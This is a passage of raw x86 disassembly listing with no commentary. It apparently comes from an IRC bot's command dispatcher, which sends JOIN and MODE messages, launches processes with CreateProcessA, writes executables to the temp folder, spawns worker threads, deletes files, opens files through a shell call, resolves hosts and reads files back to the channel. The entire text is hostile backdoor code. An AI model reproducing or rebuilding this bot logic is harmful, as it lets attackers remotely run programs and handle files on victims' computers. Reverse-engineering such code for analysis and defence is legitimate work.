		push	[ebp+arg_10]
		push	offset unk_42DB98
		push	200h
		push	eax
		call	sub_4186E0


loc_407972:				; CODE XREF: sub_401AA1+2137j
		add	esp, 14h
		jmp	loc_404421
; ---------------------------------------------------------------------------


loc_40797A:				; CODE XREF: sub_401AA1+5EB5j
		push	offset dword_42DB8C
		call	sub_415765
		push	eax
		lea	eax, [ebp+var_2C0]
		push	200h
		push	eax
		call	sub_4186E0
		add	esp, 10h
		jmp	loc_404421
; ---------------------------------------------------------------------------


loc_40799E:				; CODE XREF: sub_401AA1+426Cj
					; sub_401AA1+4283j
		push	44h
		lea	eax, [ebp+var_668]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_4182F0
		push	[ebp+arg_10]
		mov	[ebp+var_668], esi
		xor	esi, esi
		mov	[ebp+var_638], bx
		inc	esi
		mov	[ebp+var_63C], esi
		call	sub_4184D9
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_4079DD
		mov	[ebp+var_638], 5


loc_4079DD:				; CODE XREF: sub_401AA1+5F31j
		cmp	[ebp+var_C], ebx
		jz	loc_4063F5
		push	edi
		push	[ebp+var_C]
		call	sub_418660
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_4063F5
		lea	eax, [ebp+var_C84]
		push	eax
		lea	eax, [ebp+var_668]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		call	dword_42406C	; CreateProcessA
		test	eax, eax
		lea	eax, [ebp+var_2C0]
		jnz	short loc_407A2C
		push	offset unk_42DB68
		jmp	loc_4059D3
; ---------------------------------------------------------------------------


loc_407A2C:				; CODE XREF: sub_401AA1+5F7Fj
		push	edi
		push	offset dword_42DB4C
		jmp	loc_4063EC
; ---------------------------------------------------------------------------


loc_407A37:				; CODE XREF: sub_401AA1+423Ej
					; sub_401AA1+4255j
		push	edi
		push	offset dword_4260A8
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407BA9
		lea	eax, [ebp+var_4454]
		push	eax
		push	104h
		call	dword_4240B0	; GetTempPathA
		push	0FFh
		lea	eax, [ebp+var_1E80]
		push	[ebp+arg_10]
		push	eax
		call	sub_418350
		lea	eax, [ebp+var_157C]
		push	eax
		call	sub_409DEE
		push	eax
		lea	eax, [ebp+var_4454]
		push	eax
		lea	eax, [ebp+var_1D80]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_4185E6
		mov	eax, [ebp+esi+var_84]
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+var_1C7C],	1
		mov	[ebp+var_1C78],	ebx
		jz	short loc_407AC9
		push	10h
		push	ebx
		push	eax
		call	sub_418B25
		add	esp, 0Ch
		mov	[ebp+var_1C70],	eax
		jmp	short loc_407ACF
; ---------------------------------------------------------------------------


loc_407AC9:				; CODE XREF: sub_401AA1+6012j
		mov	[ebp+var_1C70],	ebx


loc_407ACF:				; CODE XREF: sub_401AA1+6026j
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_407AE6
		push	esi
		call	sub_4184D9
		pop	ecx
		mov	[ebp+var_1C74],	eax
		jmp	short loc_407AEC
; ---------------------------------------------------------------------------


loc_407AE6:				; CODE XREF: sub_401AA1+6034j
		mov	[ebp+var_1C74],	ebx


loc_407AEC:				; CODE XREF: sub_401AA1+6043j
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_1C6C],	eax
		lea	eax, [ebp+var_1F00]
		mov	[ebp+var_1F04],	esi
		push	eax
		call	sub_418350
		mov	eax, [ebp+var_4]
		push	[ebp+arg_10]
		mov	[ebp+var_1C64],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1C68],	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_42DB14
		push	eax
		call	sub_4185E6
		push	esi
		lea	eax, [ebp+var_2C0]
		push	1Eh
		push	eax
		call	sub_40A130
		add	esp, 24h
		mov	[ebp+var_1C80],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1F04]
		push	ebx
		push	eax
		push	offset sub_4142F9
		push	ebx
		push	ebx
		call	dword_42407C	; CreateThread
		mov	ecx, [ebp+var_1C80]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440E4C[ecx], eax
		jnz	short loc_407B9C
		call	dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42DAD8
		jmp	loc_4063E6
; ---------------------------------------------------------------------------


loc_407B94:				; CODE XREF: sub_401AA1+6101j
		push	32h
		call	dword_424078	; Sleep


loc_407B9C:				; CODE XREF: sub_401AA1+60E0j
		cmp	[ebp+var_1C60],	ebx
		jz	short loc_407B94
		jmp	loc_4063F5
; ---------------------------------------------------------------------------


loc_407BA9:				; CODE XREF: sub_401AA1+5FA5j
		push	offset dword_42DA90
		jmp	loc_4059CD
; ---------------------------------------------------------------------------


loc_407BB3:				; CODE XREF: sub_401AA1+4210j
					; sub_401AA1+4227j
		push	[ebp+var_8C]
		push	offset dword_42FE90
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F20
		cmp	[ebp+var_C], ebx
		jz	loc_401F20
		push	edi
		push	[ebp+var_C]
		call	sub_418660
		push	eax
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42DA80
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_2C0]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_418350
		push	[ebp+arg_10]
		call	sub_4184D9
		add	esp, 30h
		test	eax, eax
		jle	short loc_407C3C
		push	[ebp+arg_10]
		call	sub_4184D9
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	dword_424078	; Sleep


loc_407C3C:				; CODE XREF: sub_401AA1+6183j
		push	offset dword_42DA6C
		call	sub_413F3A
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_401F23
; ---------------------------------------------------------------------------


loc_407C50:				; CODE XREF: sub_401AA1+41E2j
					; sub_401AA1+41F9j
		push	[ebp+var_8C]
		push	offset dword_42FE90
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F20
		cmp	[ebp+var_C], ebx
		jz	loc_4089AE
		push	edi
		push	[ebp+var_C]
		call	sub_418660
		inc	edi
		push	offset aRepeat	; "repeat"
		push	edi
		mov	esi, eax
		call	sub_418DD0
		add	esp, 10h
		test	eax, eax
		push	esi
		lea	eax, [ebp+var_2C0]
		jz	short loc_407D0B
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42DA80
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_2C0]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_418350
		push	esi
		lea	eax, [ebp+var_2C0]
		push	offset dword_42DA54
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_413F3A
		push	[ebp+arg_10]
		call	sub_4184D9
		add	esp, 38h
		test	eax, eax
		jle	loc_4089AE
		push	[ebp+arg_10]
		call	sub_4184D9
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_401F23
; ---------------------------------------------------------------------------


loc_407D0B:				; CODE XREF: sub_401AA1+61F5j
		push	offset unk_42DA20
		push	eax
		call	sub_4185E6
		add	esp, 0Ch
		jmp	loc_4084A1
; ---------------------------------------------------------------------------


loc_407D1E:				; CODE XREF: sub_401AA1+41B4j
					; sub_401AA1+41CBj
		push	7Fh
		lea	eax, [ebp+var_1C58]
		push	[ebp+arg_10]
		push	eax
		call	sub_418350
		push	7Fh
		lea	eax, [ebp+var_1BD8]
		push	edi
		push	eax
		call	sub_418350
		push	7Fh
		lea	eax, [ebp+var_1B58]
		push	[ebp+var_88]
		push	eax
		call	sub_418350
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_1AD4],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_1AD0],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C0]
		mov	[ebp+var_1C5C],	esi
		push	offset unk_42D9EC
		push	eax
		call	sub_4185E6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	0Fh
		push	eax
		call	sub_40A130
		add	esp, 40h
		mov	[ebp+var_1AD8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C5C]
		push	ebx
		push	eax
		push	offset sub_41317E
		push	ebx
		push	ebx
		call	dword_42407C	; CreateThread
		mov	ecx, [ebp+var_1AD8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440E4C[ecx], eax
		jnz	short loc_407DE2
		call	dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42D9B0
		jmp	loc_407EA6
; ---------------------------------------------------------------------------


loc_407DDA:				; CODE XREF: sub_401AA1+6347j
		push	32h
		call	dword_424078	; Sleep


loc_407DE2:				; CODE XREF: sub_401AA1+6326j
		cmp	[ebp+var_1ACC],	ebx
		jz	short loc_407DDA
		jmp	loc_407EB5
; ---------------------------------------------------------------------------


loc_407DEF:				; CODE XREF: sub_401AA1+4186j
					; sub_401AA1+419Dj
		push	7Fh
		lea	eax, [ebp+var_1AC4]
		push	[ebp+arg_10]
		push	eax
		call	sub_418350
		push	7Fh
		lea	eax, [ebp+var_1A44]
		push	edi
		push	eax
		call	sub_418350
		push	7Fh
		lea	eax, [ebp+var_19C4]
		push	[ebp+var_88]
		push	eax
		call	sub_418350
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_1940],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_193C],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C0]
		mov	[ebp+var_1AC8],	esi
		push	offset dword_42D984
		push	eax
		call	sub_4185E6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	11h
		push	eax
		call	sub_40A130
		add	esp, 40h
		mov	[ebp+var_1944],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1AC8]
		push	ebx
		push	eax
		push	offset sub_412926
		push	ebx
		push	ebx
		call	dword_42407C	; CreateThread
		mov	ecx, [ebp+var_1944]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440E4C[ecx], eax
		jnz	short loc_407EDD
		call	dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42D948


loc_407EA6:				; CODE XREF: sub_401AA1+6334j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_4185E6
		add	esp, 0Ch


loc_407EB5:				; CODE XREF: sub_401AA1+6349j
					; sub_401AA1+6444j
		cmp	[ebp+var_8], ebx
		jnz	loc_403AE8
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_403AE0
; ---------------------------------------------------------------------------


loc_407ED5:				; CODE XREF: sub_401AA1+6442j
		push	32h
		call	dword_424078	; Sleep


loc_407EDD:				; CODE XREF: sub_401AA1+63F7j
		cmp	[ebp+var_1938],	ebx
		jz	short loc_407ED5
		jmp	short loc_407EB5
; ---------------------------------------------------------------------------


loc_407EE7:				; CODE XREF: sub_401AA1+4158j
					; sub_401AA1+416Fj
		push	edi
		lea	eax, [ebp+var_2C0]
		push	offset dword_42D940
		push	eax
		call	sub_4185E6
		push	[ebp+arg_10]
		call	sub_4184D9
		add	esp, 10h


loc_407F04:				; CODE XREF: sub_401AA1+64CEj
		test	eax, eax
		jle	loc_4089AE
		push	[ebp+arg_10]
		call	sub_4184D9
		cmp	eax, 400h
		pop	ecx
		jge	loc_4089AE


loc_407F20:				; CODE XREF: sub_401AA1+6C3Ej
		lea	eax, [ebp+var_2C0]
		push	eax
		push	offset dword_42D938
		push	[ebp+arg_10]
		call	sub_4184D9
		imul	eax, 234h
		pop	ecx
		push	dword_440E44[eax]
		call	sub_408B7B
		jmp	loc_404373
; ---------------------------------------------------------------------------


loc_407F4B:				; CODE XREF: sub_401AA1+412Aj
					; sub_401AA1+4141j
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C0]
		push	edi
		push	offset dword_42D92C
		push	eax
		call	sub_4185E6
		push	[ebp+arg_10]
		call	sub_4184D9
		add	esp, 14h
		jmp	short loc_407F04
; ---------------------------------------------------------------------------


loc_407F71:				; CODE XREF: sub_401AA1+40FCj
					; sub_401AA1+4113j
		push	edi
		lea	eax, [ebp+var_2C0]
		push	offset dword_42ECEC
		push	eax
		call	sub_4185E6
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_4184D9
		add	esp, 10h
		test	eax, eax
		jle	loc_4089AE
		push	esi
		call	sub_4184D9
		cmp	eax, 400h
		pop	ecx
		jge	loc_4089AE
		lea	eax, [ebp+var_2C0]
		push	eax
		push	offset dword_42D938
		push	esi
		call	sub_4184D9
		imul	eax, 234h
		pop	ecx
		push	dword_440E44[eax]
		call	sub_408B7B
		push	edi
		push	esi
		push	offset dword_42D910


loc_407FD4:				; CODE XREF: sub_401AA1+65BBj
					; sub_401AA1+6627j ...
		call	sub_413FAE
		jmp	loc_403D93
; ---------------------------------------------------------------------------


loc_407FDE:				; CODE XREF: sub_401AA1+40CEj
					; sub_401AA1+40E5j
		cmp	[ebp+var_C], ebx
		jz	loc_4089AE
		push	edi
		push	[ebp+var_C]
		call	sub_418660
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_40800D
		push	esi
		lea	eax, [ebp+var_2C0]
		push	offset dword_42D908
		push	eax
		call	sub_4185E6
		add	esp, 0Ch


loc_40800D:				; CODE XREF: sub_401AA1+6555j
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_4184D9
		test	eax, eax
		pop	ecx
		jle	loc_4089AE
		push	edi
		call	sub_4184D9
		cmp	eax, 400h
		pop	ecx
		jge	loc_4089AE
		lea	eax, [ebp+var_2C0]
		push	eax
		push	offset dword_42D938
		push	edi
		call	sub_4184D9
		imul	eax, 234h
		pop	ecx
		push	dword_440E44[eax]
		call	sub_408B7B
		push	esi
		push	edi
		push	offset dword_42D8EC
		jmp	loc_407FD4
; ---------------------------------------------------------------------------


loc_408061:				; CODE XREF: sub_401AA1+40A0j
					; sub_401AA1+40B7j
		cmp	[ebp+var_C], ebx
		jz	loc_4089AE
		push	edi
		push	[ebp+var_C]
		call	sub_418660
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_4089AE
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_4184D9
		test	eax, eax
		pop	ecx
		jle	loc_4089AE
		push	edi
		call	sub_4184D9
		cmp	eax, 400h
		pop	ecx
		jge	loc_4089AE
		push	esi
		push	offset dword_42D938
		push	edi
		call	sub_4184D9
		imul	eax, 234h
		pop	ecx
		push	dword_440E44[eax]
		call	sub_408B7B
		push	esi
		push	edi
		push	offset dword_42D8D0
		jmp	loc_407FD4
; ---------------------------------------------------------------------------


loc_4080CD:				; CODE XREF: sub_401AA1+4072j
					; sub_401AA1+4089j
		cmp	[ebp+var_C], ebx
		jz	loc_4089AE
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_418660
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_4089AE
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_408B7B
		push	esi
		push	offset unk_42D8A8


loc_408101:				; CODE XREF: sub_401AA1+6DD7j
					; sub_401AA1+6DF4j ...
		call	sub_413FAE
		jmp	loc_403136
; ---------------------------------------------------------------------------


loc_40810B:				; CODE XREF: sub_401AA1+4044j
					; sub_401AA1+405Bj
		push	[ebp+var_8C]
		push	offset dword_42FE90
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F20
		push	edi
		push	offset dword_42D89C
		push	[ebp+arg_4]
		call	sub_408B7B
		push	[ebp+arg_10]
		call	sub_4184D9
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	dword_424078	; Sleep
		push	[ebp+esi+var_84]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_408B7B
		push	offset dword_42D888
		call	sub_413F3A
		jmp	loc_403136
; ---------------------------------------------------------------------------


loc_40816F:				; CODE XREF: sub_401AA1+4016j
					; sub_401AA1+402Dj
		cmp	[ebp+var_C], ebx
		jz	loc_4089AE
		push	[ebp+arg_10]
		call	sub_417D40
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_417D40
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_418660
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_4089AE
		push	esi
		lea	eax, [ebp+var_2C0]
		push	offset dword_42DF54
		push	eax
		call	sub_4185E6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	ebx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_408BC1
		push	esi
		push	[ebp+arg_10]
		push	offset unk_42D86C
		call	sub_413FAE
		add	esp, 2Ch
		jmp	loc_4089AE
; ---------------------------------------------------------------------------


loc_4081E1:				; CODE XREF: sub_401AA1+3FE8j
					; sub_401AA1+3FFFj
		cmp	[ebp+var_C], ebx
		jz	loc_4089AE
		push	[ebp+arg_10]
		call	sub_417D40
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_417D40
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_418660
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_4089AE
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_408BC1
		push	esi
		push	[ebp+arg_10]
		push	offset unk_42D84C
		call	sub_413FAE
		add	esp, 20h
		jmp	loc_4089AE
; ---------------------------------------------------------------------------


loc_40823B:				; CODE XREF: sub_401AA1+3FBAj
					; sub_401AA1+3FD1j
		cmp	[ebp+var_C], ebx
		jz	loc_401F20
		push	edi
		push	[ebp+var_C]
		call	sub_418660
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401F20
		push	eax
		push	[ebp+arg_10]
		call	sub_413E42
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C0]
		push	offset unk_42D82C
		push	eax
		call	sub_4185E6
		add	esp, 14h
		jmp	loc_403AC7
; ---------------------------------------------------------------------------


loc_40827C:				; CODE XREF: sub_401AA1+3F8Cj
					; sub_401AA1+3FA3j
		push	edi
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415AFA


loc_408291:				; CODE XREF: sub_401AA1+2168j
		add	esp, 14h
		jmp	loc_401F20
; ---------------------------------------------------------------------------


loc_408299:				; CODE XREF: sub_401AA1+3F4Ej
					; sub_401AA1+3F63j
		push	[ebp+arg_10]
		push	[ebp+arg_1C]
		call	sub_418660
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089AE
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jz	short loc_408334
		push	esi
		push	[ebp+var_C]
		call	sub_418660
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		lea	eax, [ebp+var_2C0]
		jz	short loc_408322
		push	esi
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42DA80
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_2C0]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_418350
		push	esi
		lea	eax, [ebp+var_2C0]
		push	[ebp+arg_10]
		push	offset unk_42D804
		push	eax
		call	sub_4185E6
		add	esp, 34h
		inc	[ebp+arg_24]
		jmp	loc_4084C2
; ---------------------------------------------------------------------------


loc_408322:				; CODE XREF: sub_401AA1+682Dj
		push	offset unk_42D7D4
		push	eax
		call	sub_4185E6
		pop	ecx
		pop	ecx
		jmp	loc_4084C2
; ---------------------------------------------------------------------------


loc_408334:				; CODE XREF: sub_401AA1+6816j
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_417C73
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408BC1
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C0]
		push	offset dword_42D7B8
		push	200h
		push	eax
		call	sub_4186E0
		add	esp, 24h
		jmp	loc_4084C2
; ---------------------------------------------------------------------------


loc_40837D:				; CODE XREF: sub_401AA1+3A5Aj
					; sub_401AA1+3A6Fj
		push	offset aR	; "r"
		push	[ebp+arg_10]
		call	sub_418222
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	short loc_4083FB
		mov	esi, 200h
		push	edi
		lea	eax, [ebp+var_2C0]
		push	esi
		push	eax
		call	sub_4188AF
		add	esp, 0Ch
		jmp	short loc_4083D5
; ---------------------------------------------------------------------------


loc_4083AA:				; CODE XREF: sub_401AA1+6936j
		push	1
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408BC1
		push	edi
		lea	eax, [ebp+var_2C0]
		push	esi
		push	eax
		call	sub_4188AF
		add	esp, 20h


loc_4083D5:				; CODE XREF: sub_401AA1+6907j
		test	eax, eax
		jnz	short loc_4083AA
		push	edi
		call	sub_417DBB
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C0]
		push	offset unk_42D794
		push	eax
		call	sub_4185E6
		add	esp, 10h
		jmp	loc_406416
; ---------------------------------------------------------------------------


loc_4083FB:				; CODE XREF: sub_401AA1+68EFj
		push	[ebp+arg_10]
		push	offset unk_42D770
		jmp	loc_4063E6
; ---------------------------------------------------------------------------


loc_408408:				; CODE XREF: sub_401AA1+3A30j
					; sub_401AA1+3A45j
		cmp	[ebp+var_C], ebx
		jz	loc_4089AE
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_418660
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_4089AE
		push	offset asc_42D76C ; "\n"
		push	esi
		call	sub_418C20
		push	esi
		call	sub_417119
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_2C0]
		jnz	short loc_40844D
		push	offset unk_42D740
		jmp	short loc_408499
; ---------------------------------------------------------------------------


loc_40844D:				; CODE XREF: sub_401AA1+69A3j
		push	esi
		push	offset dword_42D728
		push	eax
		call	sub_4185E6
		add	esp, 0Ch
		jmp	short loc_4084C2
; ---------------------------------------------------------------------------


loc_40845E:				; CODE XREF: sub_401AA1+3A06j
					; sub_401AA1+3A1Bj
		cmp	[ebp+var_C], ebx
		jz	loc_4089AE
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_418660
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_4089AE
		push	eax
		call	sub_41582A
		test	eax, eax
		pop	ecx
		lea	eax, [ebp+var_2C0]
		jnz	short loc_408494
		push	offset unk_42D708
		jmp	short loc_408499
; ---------------------------------------------------------------------------


loc_408494:				; CODE XREF: sub_401AA1+69EAj
		push	offset dword_42D6EC


loc_408499:				; CODE XREF: sub_401AA1+69AAj
					; sub_401AA1+69F1j
		push	eax
		call	sub_4185E6
		pop	ecx
		pop	ecx


loc_4084A1:				; CODE XREF: sub_401AA1+6278j
		cmp	[ebp+var_8], ebx
		jnz	short loc_4084C2
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408BC1
		add	esp, 14h


loc_4084C2:				; CODE XREF: sub_401AA1+687Cj
					; sub_401AA1+688Ej ...
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_413F3A
		pop	ecx
		jmp	loc_4089AE
; ---------------------------------------------------------------------------


loc_4084D4:				; CODE XREF: sub_401AA1+39DCj
					; sub_401AA1+39F1j
		push	ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_10]
		call	sub_40EEC8
		push	[ebp+arg_10]
		push	offset dword_42D6D4
		jmp	loc_407FD4
; ---------------------------------------------------------------------------


loc_4084F3:				; CODE XREF: sub_401AA1+39B2j
					; sub_401AA1+39C7j
		push	[ebp+arg_10]
		call	dword_424080	; DeleteFileA
		test	eax, eax
		jz	short loc_40850A
		push	[ebp+arg_10]
		push	offset dword_42D6B8
		jmp	short loc_408515
; ---------------------------------------------------------------------------


loc_40850A:				; CODE XREF: sub_401AA1+6A5Dj
		push	offset dword_42DB8C
		call	sub_415765
		push	eax


loc_408515:				; CODE XREF: sub_401AA1+6A67j
		lea	eax, [ebp+var_2C0]
		push	200h
		push	eax
		call	sub_4186E0


loc_408526:				; CODE XREF: sub_401AA1+6B5Aj
		add	esp, 10h
		jmp	loc_4063F5
; ---------------------------------------------------------------------------


loc_40852E:				; CODE XREF: sub_401AA1+3988j
					; sub_401AA1+399Dj
		push	[ebp+arg_10]
		call	sub_4184D9
		push	eax
		call	sub_417092
		xor	esi, esi
		pop	ecx
		inc	esi
		pop	ecx
		push	[ebp+arg_10]
		cmp	eax, esi
		lea	eax, [ebp+var_2C0]
		jnz	short loc_408555
		push	offset unk_42D694
		jmp	short loc_40855A
; ---------------------------------------------------------------------------


loc_408555:				; CODE XREF: sub_401AA1+6AABj
		push	offset unk_42D664


loc_40855A:				; CODE XREF: sub_401AA1+6AB2j
		push	eax
		call	sub_4185E6
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_406419
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408BC1
		add	esp, 14h
		jmp	loc_406419
; ---------------------------------------------------------------------------


loc_40858D:				; CODE XREF: sub_401AA1+395Ej
					; sub_401AA1+3973j
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_416D91
		add	esp, 18h
		cmp	eax, 1
		push	[ebp+arg_10]
		jnz	short loc_4085B3
		push	offset unk_42D644
		jmp	loc_4063E6
; ---------------------------------------------------------------------------


loc_4085B3:				; CODE XREF: sub_401AA1+6B06j
		push	offset unk_42D614
		jmp	loc_4063E6
; ---------------------------------------------------------------------------


loc_4085BD:				; CODE XREF: sub_401AA1+3934j
					; sub_401AA1+3949j
		mov	esi, [ebp+arg_10]
		push	esi
		call	dword_4CDF20	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_2CC], eax
		jz	short loc_408600
		push	2
		lea	eax, [ebp+var_2CC]
		push	4
		push	eax
		call	dword_4CDEA0	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_40861B
		push	dword ptr [eax]


loc_4085E9:				; CODE XREF: sub_401AA1+6B78j
		push	esi
		lea	eax, [ebp+var_2C0]
		push	offset unk_42D5F4
		push	eax
		call	sub_4185E6
		jmp	loc_408526
; ---------------------------------------------------------------------------


loc_408600:				; CODE XREF: sub_401AA1+6B2Fj
		push	esi
		call	dword_4CDF64	; gethostbyname
		cmp	eax, ebx
		jz	short loc_40861B
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_4CDF6C	; inet_ntoa
		push	eax
		jmp	short loc_4085E9
; ---------------------------------------------------------------------------


loc_40861B:				; CODE XREF: sub_401AA1+6B44j
					; sub_401AA1+6B68j
		push	offset unk_42D5CC
		jmp	loc_4059CD
; ---------------------------------------------------------------------------


loc_408625:				; CODE XREF: sub_401AA1+390Aj
					; sub_401AA1+391Fj
		push	7Fh
		push	[ebp+arg_10]
		push	[ebp+arg_14]
		call	sub_418350
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C0]
		push	offset unk_42D5A4
		push	eax
		call	sub_4185E6
		add	esp, 18h
		jmp	loc_404421
; ---------------------------------------------------------------------------


loc_40864E:				; CODE XREF: sub_401AA1+38E0j
					; sub_401AA1+38F5j
		push	5
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CDE5C
		push	[ebp+arg_10]
		test	eax, eax
		jz	short loc_408672
		push	offset unk_42D584
		jmp	loc_4063E6
; ---------------------------------------------------------------------------


loc_408672:				; CODE XREF: sub_401AA1+6BC5j
		push	offset unk_42D560
		jmp	loc_4063E6
; ---------------------------------------------------------------------------


loc_40867C:				; CODE XREF: sub_401AA1+38B6j
					; sub_401AA1+38CBj
		mov	eax, [ebp+arg_10]
		mov	cl, [eax]
		mov	byte_426098, cl
		movsx	eax, byte ptr [eax]
		push	eax
		push	offset unk_42D538
		jmp	loc_404412
; ---------------------------------------------------------------------------


loc_408695:				; CODE XREF: sub_401AA1+388Cj
					; sub_401AA1+38A1j
		push	[ebp+arg_10]
		call	sub_4184D9
		test	eax, eax
		pop	ecx
		jle	loc_4089AE
		push	[ebp+arg_10]
		call	sub_4184D9
		cmp	eax, 400h
		pop	ecx
		jge	loc_4089AE
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40A0C6
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_42ECEC
		push	eax
		call	sub_4185E6
		add	esp, 1Ch
		jmp	loc_407F20
; ---------------------------------------------------------------------------


